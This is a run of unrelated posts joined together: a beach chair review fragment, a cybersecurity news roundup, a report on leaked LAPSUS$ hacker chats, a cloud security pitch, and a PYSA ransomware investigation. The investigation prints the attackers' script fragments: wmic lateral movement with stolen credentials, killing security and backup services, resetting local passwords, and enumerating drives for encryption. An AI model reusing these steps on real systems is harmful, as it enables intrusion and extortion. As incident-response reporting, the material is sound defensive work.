With this chair, your child can sit low to the ground, making it easier to get in and out of the chair. As with the other chairs, this one also has a cup holder and a towel bar. A storage pouch follows, this time with a built-in cooler.

Thanks to the padded shoulder straps, the Tommy Bahama beach chair can be carried like a backpack.

Looking for a kids’ beach chair?

If you are looking for a kids’ beach chair, Tommy Bahama is a great option. The chairs are made from durable materials, they are easy to clean and come in various fun, bright colors. Most importantly, they will help your child enjoy the beach to the fullest.

Not sure about Tommy Bahama beach chairs? Check out our guide to the best kids’ beach chairs for more options.

The post Tommy Bahama Kids Beach Chair appeared first on Comfy Bummy.

The Good, the Bad and the Ugly in Cybersecurity – Week 17

The Good

European Union regulators have announced progress in their attempts to force ‘big tech’ companies to police the content promoted on their platforms. The ‘Digital Services’ and ‘Digital Markets’ Acts come at a time of heightened concern about the role that social media, ad platforms, and search engines play in the spread of misinformation and disinformation.

The past six years have seen an increase in coordinated disinformation campaigns ranging from stoking conspiracy theories to spreading false claims about vaccines, with some resulting in tragic real-world consequences. Attempts to self-regulate content have not curbed the prevalence of this intentionally toxic content, and there’s a perception that the companies managing these services could do more to improve the situation but are besieged by perverse incentives.

Source: EC

These concerns have gained traction in the wake of the Facebook whistleblower Frances Haugen’s allegations of intentional disregard for the health and wellbeing of users in favor of greater profits. The larger concern is that a paradigm of targeted ads allows for unprecedented targeting of specific user verticals (race, gender, religion, political-leaning, etc) that allow malicious actors to widen societal rifts by promoting conflicting incompatible narratives in different social silos.

While the EU regulations are not final and still subject to change, they mark a concerted first step towards regulating ‘dark patterns’ and perverse incentives in the content promotion space.

The Bad

As if cryptocurrency weren’t fraught with enough perils, the FBI, Treasury Department, and CISA released a joint advisory detailing yet another North Korean campaign targeting cryptocurrency organizations and users. The campaign, titled ‘TraderTraitor’, involved spearphishing campaigns offering lucrative opportunities to encourage victims to download cryptocurrency-themed malware.

Open-source cryptocurrency trading and price-predicting applications were altered to include an ‘update’ mechanism that would instead download and execute a malicious payload. Victims were served Windows or macOS variants of a known Lazarus Group backdoor named ‘Manuscrypt’ that serves as a custom-written general purpose backdoor allowing the attackers to conduct post-compromise activities.

CryptAIS is one of multiple trojanized cryptocurrency trading applications

This is far from the first time that North Korean APTs target cryptocurrency exchanges and users. A previous operation in 2018, referred to as ‘AppleJeus’, employed a similar approach of trojanizing a legitimate cryptocurrency trading application. The malware presented itself as an application called Celas Trade Pro, with versions for Windows and macOS, and was used to deliver a second-stage RAT. In mid-2019, another variant of a cryptocurrency trading application delivering malware was discovered, signed and distributed by a seemingly legitimate company called JMT Trading. Continuing the trend, yet another variant UnionCryptoTrader was discovered in December of the same year.

The worst aspect of this is that it’s proven successful enough to bear repeating. North Korean threat actors have shown that a heavily sanctioned state can still effectively use cybercrime to partially circumvent sanctions. South Korean media outlets have claimed that North Korean hackers have pilfered a staggering $1.7 billion from cryptocurrency exchanges alone. Considering that the recently acknowledged breach of the Ronin network allegedly netted them $620 million in cryptocurrency, the real number is likely much higher.

We can’t help but wonder what an increasingly sanctioned Russian state will take away from the success of North Korea’s illicit tactics.

The Ugly

Cyber attacks on Industrial Control Systems are a nightmare scenario often bandied about but thankfully seldom witnessed. In the past week, that peaceful streak has been broken twice as notable attacks targeting ICS were uncovered.

Sandworm attack chain including Industroyer2 and four different wipers (Source: ESET)

First, Cert-UA and ESET announced the discovery of Industroyer2, malware used by the Russian GRU team known as ‘Sandworm’, to attack power generation companies in Ukraine. The original Industroyer was used to disrupt the Ukrainian power grid in 2016. The attackers are back with a newer simplified version of the malware aimed once again at disrupting power for large swaths of Ukrainian territory. The attack was accompanied by 4 different strains of wiper malware targeting Windows, Linux, and Solaris systems.

Diagram of INCONTROLLER malware components targeting ICS devices (Source: Mandiant)

Then, CISA and Mandiant announced the discovery of INCONTROLLER (a.k.a. PIPEDREAM), a different malware toolkit targeting ICS systems. In the case of INCONTROLLER, the attackers are targeting Schneider Electric programmable logic controllers (PLCs), Omron servo drives, and OPC servers. The combination of devices suggests targeting of liquid natural gas (LNG) and electric power facilities.

Fortunately, a collaborative effort between the U.S. government and the private sector was able to miraculously disrupt this capability before its deployment. However, it’s a reminder that APT actors are willing and able to attack the very systems we rely on for our most fundamental societal necessities.

Leaked Chats Show LAPSUS$ Stole T-Mobile Source Code

KrebsOnSecurity recently reviewed a copy of the private chat messages between members of the LAPSUS$ cybercrime group in the week leading up to the arrest of its most active members last month. The logs show LAPSUS$ breached T-Mobile multiple times in March, stealing source code for a range of company projects. T-Mobile says no customer or government information was stolen in the intrusion.

LAPSUS$ is known for stealing data and then demanding a ransom not to publish or sell it. But the leaked chats indicate this mercenary activity was of little interest to the tyrannical teenage leader of LAPSUS$, whose obsession with stealing and leaking proprietary computer source code from the world’s largest tech companies ultimately led to the group’s undoing.

From its inception in December 2021 until its implosion late last month, LAPSUS$ operated openly on its Telegram chat channel, which quickly grew to more than 40,000 followers after the group started using it to leak huge volumes of sensitive data stolen from victim corporations.

But LAPSUS$ also used private Telegram channels that were restricted to the core seven members of the group. KrebsOnSecurity recently received a week’s worth of these private conversations between LAPSUS$ members as they plotted their final attacks late last month.

The candid conversations show LAPSUS$ frequently obtained the initial access to targeted organizations by purchasing it from sites like Russian Market, which sell access to remotely compromised systems, as well as any credentials stored on those systems.

The logs indicate LAPSUS$ had exactly zero problems buying, stealing or sweet-talking their way into employee accounts at companies they wanted to hack. The bigger challenge for LAPSUS$ was the subject mentioned by “Lapsus Jobs” in the screenshot above: Device enrollment. In most cases, this involved social engineering employees at the targeted firm into adding one of their computers or mobiles to the list of devices allowed to authenticate with the company’s virtual private network (VPN).

The messages show LAPSUS$ members continuously targeted T-Mobile employees, whose access to internal company tools could give them everything they needed to conduct hassle-free “SIM swaps” — reassigning a target’s mobile phone number to a device they controlled. These unauthorized sim swaps allow an attacker to intercept a target’s text messages and phone calls, including any links sent via SMS for password resets, or one-time codes sent for multi-factor authentication.

The LAPSUS$ group had a laugh at this screenshot posted by their leader, White, which shows him reading a T-Mobile news alert about their hack into Samsung. White is viewing the page via a T-Mobile employee’s virtual machine.

In one chat, the LAPSUS$ leader — 17-year-old from the U.K. who goes by the nicknames “White,” “WhiteDoxbin” and “Oklaqq” — is sharing his screen with another LAPSUS$ member who used the handles “Amtrak” and “Asyntax.”

The two were exploring T-Mobile’s internal systems, and Amtrak asked White to obscure the T-Mobile logo on his screen. In these chats, the user “Lapsus Jobs” is White. Amtrak explains this odd request by saying his parents are aware he was previously involved in SIM swapping, and he doesn’t want to give them any cause for alarm if they happen to look over his shoulder while he’s hacking away at home.

“Parents know I simswap,” Amtrak said. “So, if they see [that] they think I’m hacking.”

The messages reveal that each time LAPSUS$ was cut off from a T-Mobile employee’s account — either because the employee tried to log in or change their password — they would just find or buy another set of T-Mobile VPN credentials. T-Mobile currently has approximately 75,000 employees worldwide.

On March 19, 2022, the logs and accompanying screenshots show LAPSUS$ had gained access to Atlas, a powerful internal T-Mobile tool for managing customer accounts.

LAPSUS$ leader White/Lapsus Jobs looking up the Department of Defense in T-Mobile’s internal Atlas system.

After gaining access to Atlas, White proceeded to look up T-Mobile accounts associated with the FBI and Department of Defense (see image above). Fortunately, those accounts were listed as requiring additional verification procedures before any changes could be processed.

Faced with increasingly vocal pleadings from other LAPSUS$ members not to burn their access to Atlas and other tools by trying to SIM swap government accounts, White unilaterally decided to terminate the VPN connection permitting access to T-Mobile’s network.

The other LAPSUS$ members desperately wanted to SIM swap some wealthy targets for money. Amtrak throws a fit, saying “I worked really hard for this!” White calls the Atlas access trash and then kills the VPN connection anyway, saying he wanted to focus on using their illicit T-Mobile access to steal source code.

A screenshot taken by LAPSUS$ inside T-Mobile’s source code repository at Bitbucket.

Perhaps to mollify his furious teammates, White changed the subject and told them he’d gained access to T-Mobile’s Slack and Bitbucket accounts. He said he’d figured out how to upload files to the virtual machine he had access to at T-Mobile.

Roughly 12 hours later, White posts a screenshot in their private chat showing his automated script had downloaded more than 30,000 source code repositories from T-Mobile over a 12-hour period:

White showing a screenshot of a script that he said downloaded all available T-Mobile source code.

In response to questions from KrebsOnSecurity, T-Mobile issued the following statement:

“Several weeks ago, our monitoring tools detected a bad actor using stolen credentials to access internal systems that house operational tools software. The systems accessed contained no customer or government information or other similarly sensitive information, and we have no evidence that the intruder was able to obtain anything of value. Our systems and processes worked as designed, the intrusion was rapidly shut down and closed off, and the compromised credentials used were rendered obsolete.”


It is not clear why LAPSUS$ was so fixated on stealing source code. Perhaps LAPSUS$ thought they could find in the source clues about security weaknesses that could be used to further hack these companies and their customers. Maybe the group already had buyers lined up for specific source code that they were then hired to procure. Or maybe it was all one big Capture the Flag competition, with source code being the flag. The leaked chats don’t exactly explain this fixation.

But it seems likely that the group routinely tried to steal and then delete any source code it could find on victim systems. That way, it could turn around and demand a payment to restore the deleted data.

In one conversation in late March, a LAPSUS$ member posts screenshots and other data indicating they’d gained remote administrative access to a multi-billion dollar company. But White is seemingly unimpressed, dismissing the illicit access as not worth the group’s time because there was no source code to be had.

LAPSUS$ first surfaced in December 2021, when it hacked into Brazil’s Ministry of Health and deleted more than 50 terabytes of data stored on the ministry’s hacked servers. The deleted data included information related to the ministry’s efforts to track and fight the COVID-19 pandemic in Brazil, which has suffered a disproportionate 13 percent of the world’s COVID-19 fatalities. LAPSUS$’s next 15 victims were based either in Latin America or Portugal, according to cyber threat intelligence firm Flashpoint.

By February 2022, LAPSUS$ had pivoted to targeting high-tech firms based in the United States. On Feb. 26, LAPSUS$ broke into graphics and computing chip maker NVIDIA. The group said it stole more than a terabyte of NVIDIA data, including source code and employee credentials.

Dan Goodin at Ars Technica wrote about LAPSUS$’s unusual extortion demand against NVIDIA: The group pledged to publish the stolen code unless NVIDIA agreed to make the drivers for its video cards open-source. According to these chats, NVIDIA responded by connecting to the computer the attackers were using in their attack, and then encrypting the stolen data.

Like many high-tech firms whose value is closely tied to their intellectual property, NVIDIA relies on a number of technologies designed to prevent data leaks or theft. According to LAPSUS$, among those is a requirement that only devices which have been approved or issued by the company can be used to access its virtual private network (VPN).

These so-called Mobile Device Management (MDM) systems retrieve information about the underlying hardware and software powering the system requesting access, and then relay that information along with any login credentials.

In a typical MDM setup, a company will issue employees a laptop or smartphone that has been pre-programmed with a data profile, VPN and other software that allows the employer to track, monitor, troubleshoot or even wipe device data in the event of theft, loss, or a detected breach.

MDM tools also can be used to encrypt or retrieve data from connected systems, and this was purportedly the functionality NVIDIA used to claw back the information stolen by LAPSUS$.

“Access to NVIDIA employee VPN requires the PC to be enrolled in MDM,” LAPSUS$ wrote in a post on their public Telegram channel. “With this they were able to connect to a [virtual machine] that we use. Yes, they successfully encrypted the data. However, we have a backup and it’s safe from scum!!!”

NVIDIA declined to comment for this story.

On March 7, consumer electronics giant Samsung confirmed what LAPSUS$ had bragged on its Telegram channel: That the group had stolen and leaked nearly 200 GB of source code and other internal company data.

The chats reveal that LAPSUS$ stole a great deal more source code than they bragged about online. One of White’s curious fascinations was SASCAR, Brazil’s leading fleet management and freight security company. White had bought and talked his way into SASCAR’s systems, and had stolen many gigabytes worth of source code for the company’s fleet tracking software.

It was bad enough that LAPSUS$ had just relieved this company of valuable intellectual property: The chats show that for several days White taunted SASCAR employees who were responding to the then-unfolding breach, at first by defacing the company’s website with porn.

The messages show White maintained access to the company’s internal systems for at least 24 hours after that, even sitting in on the company’s incident response communications where the security team discussed how to evict their tormentors.

SASCAR is owned by tire industry giant Michelin, which did not respond to requests for comment.


The leaked LAPSUS$ internal chats show the group spent a great deal of time trying to bypass multi-factor authentication for the credentials they’d stolen. By the time these leaked chat logs were recorded, LAPSUS$ had spent days relentlessly picking on another target that relied on MDM to restrict employee logins: Iqor, a customer support outsourcing company based in St. Petersburg, Fla.

LAPSUS$ apparently had no trouble using Russian Market to purchase access to Iqor employee systems. “I will buy login when on sale, Russians stock it every 3-4 days,” Amtrak wrote regarding Iqor credentials for sale in the bot shops.

The real trouble for LAPSUS$ came when the group tried to evade Iqor’s MDM systems by social engineering Iqor employees into removing multi-factor authentication on Iqor accounts they’d purchased previously. The chats show that time and again Iqor’s employees simply refused requests to modify multi-factor authentication settings on the targeted accounts, or make any changes unless the requests were coming from authorized devices.

One of several IQOR support engineers who told LAPSUS$ no over and over again.

After many days of trying, LAPSUS$ ultimately gave up on Iqor. On Mar. 22, LAPSUS$ announced it hacked Microsoft, and began leaking 37 gigabytes worth of Microsoft source code.

Like NVIDIA, Microsoft was able to stanch some of the bleeding, cutting off LAPSUS$’s illicit access while the group was in the process of downloading all of the available source code repositories alphabetically (the group publicized their access to Microsoft at the same time they were downloading the software giant’s source code). As a result, LAPSUS$ was only able to leak the source for Microsoft products at the beginning of the code repository, including Azure, Bing and Cortana.


LAPSUS$ leader White drew attention to himself prior to the creation of LAPSUS$ last year when he purchased a website called Doxbin, a long-running and highly toxic online community that is used to “dox” or post deeply personal information on people.

Based on the feedback posted by Doxbin members, White was not a particularly attentive administrator. Longtime members soon took to harassing him about various components of the site falling into disrepair. That pestering eventually prompted White to sell Doxbin back to its previous owner at a considerable loss. But before doing so, White leaked the Doxbin user database.

White’s leak triggered a swift counterpunch from Doxbin’s staff, which naturally responded by posting on White perhaps the most thorough dox the forum had ever produced — including videos filmed just outside his home where he lives with his parents in the United Kingdom.

The past and current owner of the Doxbin — an established cybercriminal who goes by the handle “KT” — is the same person who leaked these private LAPSUS$ Telegram chat logs to KrebsOnSecurity.

In early April, multiple news outlets reported that U.K. police had arrested seven people aged 15-21 in connection with the LAPSUS$ investigation. But it seems clear from reading these leaked Telegram chats that individual members of LAPSUS$ were detained and questioned at different times over the course of several months.

In his chats with other LAPSUS$ members during the last week in March, White maintained that he was arrested 1-2 months prior in connection with an intrusion against a victim referred to only by the initials “BT.” White also appeared unconcerned when Amtrak admits that the City of London police found LAPSUS$ Telegram chat conversations on his mobile phone.

Perhaps to demonstrate his indifference (or maybe just to screw with Amtrak), White responds by leaking Amtrak’s real name and phone number to the group’s public Telegram channel. In an ALL CAPS invective of disbelief at the sudden betrayal, Amtrak relates how various people started calling his home and threatening his parents as a result, and how White effectively outed him to law enforcement and the rest of the world as a LAPSUS$ member.

The vast majority of noteworthy activity documented in these private chats takes place between White and Amtrak, but it doesn’t seem that White counted Amtrak or any of his fellow LAPSUS$ members as friends or confidants. On the contrary, White generally behaved horribly toward everyone in the group, and he particularly seemed to enjoy abusing Amtrak (who somehow always came back for more).

Mox,” one of the LAPSUS$ members who shows up throughout these leaked chats, helped the group in their unsuccessful attempts to enroll their mobile devices with an airline in the Middle East to which they had purchased access. Audio recordings leaked from the group’s private Telegram channel include a call wherein Mox can be heard speaking fluently in Arabic and impersonating an airline employee.

At one point, Mox’s first name briefly shows up in a video he made and shared with the group, and Mox mentions that he lives in the United States. White then begins trying to find and leak Mox’s real-life identity.

When Mox declares he’s so scared he wants to delete his iCloud account, White suggests he can get Mox’s real name, precise location and other information by making a fraudulent “emergency data request” (EDR) to Apple, in which they use a hacked police department email account to request emergency access to subscriber information under the claim that the request can’t wait for a warrant because someone’s life is on the line.

White was no stranger to fake EDRs. White was a founding member of a cybercriminal group called “Recursion Team,” which existed between 2020 and 2021. This group mostly specialized in SIM swapping targets of interest and participating in “swatting” attacks, wherein fake bomb threats, hostage situations and other violent scenarios are phoned in to police as part of a scheme to trick them into visiting potentially deadly force on a target’s address.

The roster of the now-defunct “Infinity Recursion” hacking team, from which some members of LAPSUS$ hail.

The Recursion Team was founded by a then 14-year-old from the United Kingdom who used the handle “Everlynn.” On April 5, 2021, Everlynn posted a new sales thread to the cybercrime forum cracked[.]to titled, “Warrant/subpoena service (get law enforcement data from any service).” The price: $100 to $250 per request.

Everlynn advertising a warrant/subpoena service based on fake EDRs.

As part of the Recursion Team, White used the alias “Peter.” Several LAPSUS$ members quizzed White and Amtrak about whether authorities asked about Recursion Team during questioning. In several discussion threads, White’s “Lapsus Jobs” alias on Telegram answers “yes?” or “I’m here” when another member addresses him by Peter.

White dismissed his public doxing of both Amtrak and Mox as their fault for being sloppy with operational security, or by claiming that everyone already knew their real identities. Incredibly, just a few minutes after doxing Amtrak, White nonchalantly asks him for help in stealing source code from yet another victim firm — as if nothing had just happened between them. Amtrak seems soothed by this invitation, and agrees to help.

On Mar. 30, software consultancy giant Globant was forced to acknowledge a hack after LAPSUS$ published 70 gigabytes of data stolen from the company, including customers’ source code. While the Globant hack has been widely reported for weeks, the cause of the breach remained hidden in these stolen logs: A stolen five-year-old access token for Globant’s network that still worked.

LAPSUS$ members marvel at a 5-year-old stolen authentication cookie still working when they use it against Globant to steal source code.

Globant lists a number of high-profile customers on its website, including the U.K. Metropolitan Police, software house Autodesk and gaming giant Electronic Arts. In March, KrebsOnSecurity showed how White was connected to the theft of 780 GB worth of source code from Electronic Arts last summer.

In that attack, the intruders reportedly gained access to EA’s data after purchasing authentication cookies for an EA Slack channel from the dark web marketplace “Genesis,” which offers more or less the same wares as the Russian Market.

One remarkable aspect of LAPSUS$ was that its members apparently decided not to personally download or store any data they stole from companies they hacked. They were all so paranoid of police raiding their homes that they assiduously kept everything “in the cloud.” That way, when investigators searched their devices, they would find no traces of the stolen information.

But this strategy ultimately backfired: Shortly before the private LAPSUS$ chat was terminated, the group learned it had just lost access to the Amazon AWS server it was using to store months of source code booty and other stolen data.

“RIP FBI seized my server,” Amtrak wrote. “So much illegal shit. It’s filled with illegal shit.”

White shrugs it off with the dismissive comment, “U can’t do anything about ur server seized.” Then Amtrak replies that he never made a backup of the server.

“FFS, THAT AWS HAD TMO SRC [T-Mobile source] code!” White yelled back.

The two then make a mad scramble to hack back into T-Mobile and re-download the stolen source code. But that effort ultimately failed after T-Mobile’s systems revoked the access token they were using to raid the company’s source code stash.

“How they noticed?” Amtrak asked White.

“Gitlab auto-revoked, likely,” White replied. “Cloning 30k repos four times in 24 hours isn’t very normal.”

Ah, the irony of a criminal hacking group that specializes in stealing and deleting data having their stolen data deleted.

It’s remarkable how often LAPSUS$ was able to pay a few dollars to buy access to some hacked machine at a company they wanted to break into, and then successfully parlay that into the theft of source code and other sensitive information.

What’s even more remarkable is that anyone can access dark web bot shops like Russian Market and Genesis, which means larger companies probably should be paying someone to regularly scrape these criminal bot services, even buying back their own employee credentials to take those vulnerable systems off the market. Because that’s probably the simplest and cheapest incident response money can buy.

The Genesis bot shop.

Cloud Workload Protection | Your Backstop in Hardening Against Runtime Threats

Your cloud infrastructure is just as vulnerable to ransomware as your user endpoints, perhaps more so. With cloud IaaS spending forecast to grow 22% in 2022, this attack surface is only becoming more vital to the operation of the digital enterprise. Your cloud workloads, data, and intellectual property need multi-layered defenses from vulnerable images, ransomware, crypto-mining malware, and zero-day attacks.

The cost of doing nothing, or not enough, is pegged at $4.6 million USD. That is the average cost of a ransomware attack according to research from The Ponemon Institute published in the 2021 Cost of a Data Breach Report. The good news? There are many security steps an organization can take to harden their cloud footprint against these threats.

Linux, Containers, & Kubernetes: Ransomware Casts a Wider Net

With the persistent, multi-year growth of cloud IaaS, Linux has increasingly become a target of bad actors. The cloud is built on Linux, with over 90% of cloud compute instances based on the Linux OS. The summer of 2021 saw a prime example of Linux ransomware dubbed “DarkRadiation”, which targeted two of the more widely used distributions, RHEL and CentOS, as well as Docker containers.

Speaking of containers, Kubernetes is the de facto standard for container orchestration, with over 90% share. Recognizing the critical importance of securing the Kubernetes attack surface, and in response to industry feedback from its first revision, CISA published a revision to its Kubernetes Hardening Guide in March 2022. This document illustrates several readily-implemented recommendations for securing Kubernetes, the first of which is scanning software images for known vulnerabilities.

Image Scanning

Several years ago, when speaking with prospects I would often find myself clarifying some fundamental misgivings about where their cloud service providers’ security responsibilities ended and theirs began. Perhaps owing in small part to a steady drip of high-profile cloud data breaches, the market now largely understands that they are responsible for securing what they put *in* the cloud. Yet now, the objection often heard is, “We are good: we do image scanning.

Image scanning is great. Everyone should be doing it. Alone, however, image scanning is insufficient. Why do I say this? If it were sufficient, then we would not be challenged by the fact that 3 of every 4 production images are running with a critical or high severity vulnerability. Shifting-left is good, but when push comes to shove and a DevOps team has to choose between addressing a software vulnerability or shipping code on-schedule, it would seem that delivery wins 75% of the time. It’s not surprising. After all, the old business school axiom goes, “You get what you measure,” and software delivery is a key performance metric.

Software composition analysis is a well-served segment, with a wide array of solutions available, some of which are even open-source. Let image scanning be the first layer of defense in a cloud security strategy, and press forward.

Identity & Access Management

Cloud service providers have made IAM techniques widely available to their customers, and there are several best practices within. First and foremost, organizations must strictly guard the cloud management plane by limiting access to privileged accounts, using multi-factor authentication (MFA), and logging use of such accounts. Robust password policies and encryption key rotation are also a must.

Extensive use of IAM roles under the principle of least privileges goes a long way to improve security, and use of such roles can be augmented with a well-planned workload architecture. For example, consider a cloud workload which processes a file uploaded by a user to an AWS account. The processing itself is conducted on an Amazon EC2 instance. Rather than expose the EC2 instance to the public internet, an S3 bucket can be configured to accept uploads. An IAM role allows the workload, and only the workload, to reach into this “drop bucket” and retrieve the file (presumably after having scanned the file for malware, but that’s a topic for another blog). In this way, the EC2 remains safely within a VPC (virtual private cloud), accepting only input from a specific bucket and even then, only under certain conditions (e.g., the file has been scanned for malware and is clean). This is just a simple example of how architectural considerations can be used to further secure your cloud footprint.

Cloud Workload Protection & Response

Finally, cloud workload protection is your last line of defense against runtime threats. Behavioral AI detects unknown threats such as zero-day exploits and indicators of compromise consistent with novel ransomware. Ideally, a cloud workload protection platform can be managed from the same security console as your user endpoint protection; doing so facilitates triage and compresses incident response time.

In the United States, there is a new law which underscores the importance of CWP for securing the cloud footprint. Under the Cybersecurity Incident Response for Critical Infrastructure Act (CIRCIA), companies in 16 critical infrastructure industries – from Food & Agriculture to Finance, Defense, Healthcare, Utilities, and more – now have strict reporting requirements for material cybersecurity incidents. Such incidents must now be reported within 72 hours from the moment of awareness. A CWPP solution facilitates compliance to the new law. Without the extensive EDR data that a CWPP provides, compliance to the CIRCIA will be strenuous if not impossible, considering IR reports typically take upwards of 8 weeks.

When considering a CWPP solution such as Singularity Cloud, look for hybrid cloud support, ingestion of cloud metadata, and extensive support of Linux and Windows Server operating systems. AI and policy-driven automation should respond to threats in milliseconds: machine-speed attacks demand a machine-speed response. Protecting workload immutability is key: anything not in the workload image should be killed, ideally without any machine learning training periods to slow down agile innovation. Automated correlation of related events, such as with SentinelOne’s patented Storyline™ technology, seamlessly stitches seemingly unrelated pieces of an attack sequence together, consolidating alerts, reducing noise, amplifying signal, and making SOC analysts far more productive in responding during crises.

Join Our Webinar

Cloud workload protection is your backstop, your last line of defense in a multi-layer defense-in-depth cloud security strategy. CWP protects cloud compute instances, containerized workloads, and Kubernetes clusters from runtime threats. Join KPMG, AWS, Recorded Future, and SentinelOne for our fireside chat on April 28, 2022, as we discuss ways and means to mitigate runtime threats such as cloud ransomware, and continuously protect your cloud workloads.

Defeat Ransomware: How to Mitigate Risk and Accelerate Your Enterprise
Thursday, April 28, 2022 at 11 a.m. PDT

From the Front Lines | Peering into A PYSA Ransomware Attack

By James Haughom and Niranjan Jayanand


PYSA (Protect Your System Amigo, aka Mespinoza) has been impacting high-value targets since early 2020, with a proclivity towards targeting educational and medical entities during the global pandemic. In March 2021, a FBI FLASH alert was issued concerning the noticeable increase in PYSA campaigns, particularly those against healthcare and educational targets.

SentinelOne’s DFIR engagement team encountered two particular PYSA ransomware campaigns that displayed some interesting tactics that may be of interest to security teams and analysts. In this post, we give a brief overview of PYSA and document the tactics we observed.


PYSA’s tactics are similar to other ransomware contemporaries. The group embraces the multipronged extortion model, hosting a long-standing blog of victim names and data, although as of early April 2022, the PYSA victim blog has been offline.

Screenshot of PYSA blog

Once a target has been breached, the attackers discover and exfiltrate sensitive and critical data, encrypt victim files, and demand a ransom.

PYSA’s primary methods of initial access and delivery have centered around RDP (Remote Desktop Protocol) exploits as well as phishing emails. Even with phishing as a first stage, the goal is to extract RDP credentials to make entry via their preferred method.

The group relies heavily on LOLBINs and COTS tools, avoiding the use of malware other than for encryption. Tools such as Cobalt Strike, Empire, WinSCP, Advanced IP Scanner and Advanced Port Scanner (and their forks) are often observed in active PYSA engagements. The group has also adopted additional tools like Chisel. Cloud storage services (e.g., are often utilized for data exfiltration, detection of which is many victims’ first indication of infection.

Over the last two years, PYSA has successfully compromised an increasing number of organizations. PYSA targets a number of sectors aside from healthcare and education, including Government, Food & Agriculture, Real Estate, Engineering, Utilities and others.

Technical Details

The ransomware observed by our team was deployed via a batch script which then called psexec.exe to start a Windows PowerShell script located at “$share$p.ps1”.

There were multiple batch scripts in the target directory for multiple deployment methods, e.g., psexec0.bat, psexec1.bat, wmi0.bat, wmi1.bat.

The *0.bat variant calls the PowerShell-based ransomware directly from the network share; the *1.bat variant is designed to copy a services.exe file from that directory to the system Temp directory, and *2.bat file calls that executable on the victim machine. The latter two files are a backup plan in case the initial PowerShell ransomware is unsuccessful; however, due to the lack of the services.exe file existing in the environment, it appears this went unused.

Attackers were seen password spraying to gain RDP access to both virtual machines and workstations. They also targeted domain controllers and exchange servers heavily, planning to maximize business disruption.

During our investigation of the attack stages, we also identified the attacker using psexec for lateral movement and the final ransomware payload encrypted and renamed files with either a .pysa extension or another four character extension.

The table below summarizes the different tools and techniques used by the PYSA ransomware group at different stages of the kill chain.

Evasion PowerShell Batch
Cred Access PowerShell Empire Koadic Mimikatz
Discovery IP Scanner Port Scanner PowerShell
Persistence Chisel Cobalt Strike
Lat Movement PsExec RDP Batch Script
Backdoor Chisel
Exfiltration MEGASync WindSCP

Below are some script files identified on multiple endpoints that attackers used for their lateral movement.

File Name Type File Size
Before Windows BatchFile 1 KB
p Windows Powershell script 5 KB
psexec0 Windows BatchFile 810 KB
psexec1 Windows BatchFile 736 KB
psexec2 Windows BatchFile 585 KB
wmi2 Windows BatchFile 636 KB
wmi2(1) Windows BatchFile 636 KB

wmi2 and wmi2 (1) – uses stolen Domain Administrator credentials to deploy the ransomware en masse across the environment. In our example, the filename used for the deployed payloads was svchost.exe.

The two wmi*.bat files dropped by the attacker have numerous lines (like the one below) to laterally move and execute an executable by the name svchost.exe from the Temp folder into many different endpoints.

wmic /node:"" /user:"<>" /password:"<>process call create "cmd /c c:windowstempsvchost.exe"

This executable is a Chisel Tunneling tool programmed in Go. Pysa threat actors have been consistent with using Chisel for tunneling, and the same file name and folder path occur in their earlier attacks as well.

The scripts above were used for various system information discovery tasks, as well as establishing the Cobalt Strike beacon, and ultimately the PowerShell-based execution of the ransomware itself.

The p.ps1 script above is used to kill or terminate services which may interfere with the encryption process. It also attempts to identify specific anti-virus applications.

The s() function will kill services by name, which is passed as an argument to the function. This is typical pre-ransomware deployment behavior to ensure that handles to critical assets (files/DBs) are forcibly closed, allowing the ransomware to obtain a handle and encrypt them.

function s($s) {
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Stop-Service -Force
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Set-Service -StartupType Disabled

Services terminated:

SQL Oracle Citrix
Exchange Veeam Malwarebytes
Sharepoint Quest Backup

The function p() is used to terminate processes by name using the WMIC utility. The name of the process to be terminated is passed as an argument to the function. The following processes are killed by the malware.

acronis adobe agent Agent AlwaysOn
anydesk apache Arcserve autodesk Backup
barracuda center chrome citrix Citrix
Core.Service database def dev endpoint
Endpoint engine exchange firefox Framework
http java logmein Malware manage
microsoft Mongo monitor OCS Inventory office
protect QBCF QBData QBDB QuickBooks
sage secure security segurda server
silverlight solarwinds sprout sql SQL
teamviewer veeam Veeam vnc web
function p($p) {
    wmic process where "name like '%$p%'" delete

The script also tags affected systems with a text file, writing the content “I’ll be back”. This text file is written to C:log.txt.

New-Item -Path "<>log$" -Name "$name.txt" -ItemType "file" -Value "I'll be back.";

Finally, the malware changes the password of all local users to the value of the first 13 characters of the MD5 hash of the username with the string “ololo” appended. For example, the password for the username “admin” will be set to the first 13 characters of the MD5 hash of the string “adminololo”.

foreach ($user in $localusers)
    $myUser = "$($user)ololo"
    $hash = Get-StringHash $myUser
    $pass = $hash.substring(0, 13)

Use Of Chisel Tunneling Tool

During the course of our investigation, we encountered three different Chisel samples in total, all of which were DLLs, programmed in Go. Chisel is a cross-platform traffic tunneling tool, utilized by multiple threat actors. The release version of Chisel consists of a single binary that covers both client and server functionality. The DLLs are wrappers to leverage the project’s client side code. These DLLs function to decrypt the client configuration’s fields (IP, port, …), create a new instance of the Chisel client, and then invoke the client.

Digging deeper into the specific Chisel samples, we can see a few things including the various dependencies.

Packages & Dependencies for Chisel tool

The DLL’s original filename was magic.dll, with the main payload being stored in the “Debug” export.

Strings are individually XOR decrypted at runtime, including the C2 URL. This URL is then passed to the magicSocks function.

Encryption Details (via PowerShell)

Beyond the use of Chisel, there are some interesting highlights within the execution of PYSA. The p.ps1 script is used to prepare the environment, as well as execute the actual ransomware with the desired configuration.

The ransomware enumerates drives to encrypt via WMI, targeting only “fixed” drives.

[array]$target_drives = get-wmiobject win32_volume | ? { $_.DriveType -eq 3 } | % { get-psdrive $_.DriveLetter[0] } | % { $_.Root };

A pool of workers is used to speed up the encryption process by running jobs in parallel. These jobs are limited to 20 running at a time.

while ($running_jobs.Count -gt $max_workers)
    Start-Sleep -Seconds 5;
    [array]$running_jobs = $worker_jobs | Where { $_.State -eq "Running" };

Target directories are enumerated on each fixed drive, skipping critical folders to avoid rendering the victim’s system inoperable. Directories in the root folder of the drive matching the following criteria are skipped (“*” is used as a wildcard):

  • *Windows*
  • *Program Files*
  • *ProgramData*
Get-ChildItem "$( $disk )*" -Recurse -Force -Exclude "*Windows*", "*Program Files*", "*ProgramData*" | ? { $_.PSIsContainer } | Where-Object { ($_.FullName -notlike "*Windows*") -and ($_.FullName -notlike "*Program Files*") -and ($_.FullName -notlike "*ProgramData*") } | % { Show(@{ name = $_.FullName; ring = $SKbMxF }) };

